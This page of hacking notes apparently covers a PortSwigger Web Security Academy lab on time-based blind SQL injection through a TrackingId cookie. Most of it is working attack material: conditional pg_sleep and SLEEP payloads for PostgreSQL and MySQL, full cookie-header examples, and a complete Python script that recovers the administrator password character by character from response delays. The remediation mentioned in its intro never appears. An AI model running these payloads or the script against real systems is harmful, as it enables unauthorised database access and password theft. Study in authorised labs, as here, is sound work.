> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md).
# Time-Based Blind SQL Injection Data Exfiltration
Time-Based Blind SQL Injection Data Exfiltration notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Blind SQL Injection with Time Delays and Information Retrieval
The value of the `TrackingId` cookie is interpolated in a synchronous SQL query. A conditional break (`SLEEP` / `pg_sleep`) is triggered when an assertion is true; The information is derived by measuring the response time (i.e. delay if true condition).
#### PostgreSQL
* Sleep 5 s simple :
```
TrackingId=' || pg_sleep(5) || '
```
* Conditionnelle (tester si `username='administrator'` → 5 s) :
```
TrackingId=' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```
* Test password length = 20:
```
TrackingId=' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```
* Test character at `pos` position:
```
TrackingId=' || (SELECT CASE WHEN (SELECT SUBSTRING(password, {pos}, 1) FROM users WHERE username='administrator') = '{char}' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```
> Postgres Note: sometimes the `FROM` position must be adjusted according to the injected request; the above examples are common patterns.
#### MySQL
* Sleep 5 s simple :
```
TrackingId=' AND SLEEP(5)-- -
```
* Conditionnelle (substring) :
```
TrackingId=' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'), {pos}, 1) = '{char}', SLEEP(5), 0)-- -
```
* Tester longueur = N :
```
TrackingId=' OR IF(LENGTH((SELECT password FROM users WHERE username='administrator')) = {N}, SLEEP(5), 0)-- -
```
> MySQL: `IF(condition, sleep(sec), 0)` is the standard form; use `SUBSTRING(...)` and `LENGTH(...)`.
***
### Concrete Examples (full cookie)
Assume `BASE=abc123` and session `'SESSION=XYZ'`.
* Postgres — character test pos=1== 'a':
```
Cookie: TrackingId=abc123' || (SELECT CASE WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '; Session=XYZ
```
* MySQL — character test pos=1== 'a':
```
Cookie: TrackingId=abc123' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a', SLEEP(5), 0)-- -; Session=XYZ
```
### Automated Python Script (corrected, Postgres & MySQL Adaptable)
This script measures latency and reconstructs character by character. Parameters: `TARGET`, `BASE_TRACKING`, `SESSION`, `DBMS` (`'postgres'` or `'mysql'`), alphabet, expected delay (`SLEEP_SEC`) and `MAX_LEN`.
```python
#!/usr/bin/env python3
"""
Time-based blind SQLi extractor (Postgres / MySQL)
Usage: configure TARGET, BASE_TRACKING, SESSION, DBMS, then run.
Run ONLY in an authorized environment.
"""
import requests, time, string, sys, signal
# ------------- CONFIG -------------
TARGET = "https://EXAMPLE.web-security-academy.net/"
BASE_TRACKING = "test" # legitimate part of the TrackingId
SESSION_VALUE = "SESSION_VALUE"
DBMS = "postgres" # "postgres" or "mysql"
SLEEP_SEC = 5 # server-side delay triggered
THRESHOLD = SLEEP_SEC - 1.0 # if response > threshold => condition is true
ALPHABET = string.ascii_lowercase + string.digits # adjust as needed
MAX_LEN = 30
TIMEOUT = SLEEP_SEC + 5
# ------------- /CONFIG -------------
HEADERS = {"User-Agent": "Mozilla/5.0"}
def build_payload(sgdb, pos, ch):
if sgdb == "postgres":
# condition: substring(password,pos,1) = 'ch'
cond = f"(SELECT CASE WHEN (SELECT SUBSTRING(password,{pos},1) FROM users WHERE username='administrator') = '{ch}' THEN pg_sleep({SLEEP_SEC}) ELSE pg_sleep(0) END)"
payload = f"{BASE_TRACKING}' || {cond} || '"
elif sgdb == "mysql":
# IF(SUBSTRING((SELECT password ...),pos,1) = 'ch', SLEEP(X), 0)
cond = f"IF(SUBSTRING((SELECT password FROM users WHERE username='administrator' LIMIT 1),{pos},1)='{ch}', SLEEP({SLEEP_SEC}), 0)"
payload = f"{BASE_TRACKING}' OR {cond}-- -"
else:
raise ValueError("Unsupported DBMS")
return payload
def send_request(payload):
cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
t0 = time.time()
try:
r = requests.get(TARGET, cookies=cookies, headers=HEADERS, timeout=TIMEOUT, verify=True, allow_redirects=False)
except requests.exceptions.RequestException as e:
return None, None
dt = time.time() - t0
return r, dt
def extract_password():
pwd = ""
for pos in range(1, MAX_LEN + 1):
found = False
for ch in ALPHABET:
payload = build_payload(DBMS, pos, ch)
_, dt = send_request(payload)
if dt is None:
print("[!] request failed, retry or check the connection")
sys.exit(1)
# debug: print(f"pos={pos} try={ch} dt={dt:.2f}s")
if dt > THRESHOLD:
pwd += ch
print(f"[+] pos={pos} -> '{ch}' (dt={dt:.2f}s)")
found = True
break
if not found:
print(f"[-] No character found at position {pos} -> fin probable")
break
return pwd
def sigint_handler(sig, frame):
print("/nInterrupted. Exiting.")
sys.exit(0)
if __name__ == "__main__":
signal.signal(signal.SIGINT, sigint_handler)
print("[*] Starting extraction (time-based)")
recovered = extract_password()
print(f"/n[=] Recovered password (partial/estimated): {recovered}/n")
```
* For **Postgres**, `DBMS="postgres"`.
* For **MySQL**, `DBMS="mysql"`.
* Reduce `ALPHABET` If you know charset (huge gain).
* Adjusts `MAX_LEN` / `SLEEP_SEC` according to target.
* Retrieval/exponential management backoff if necessary.
---
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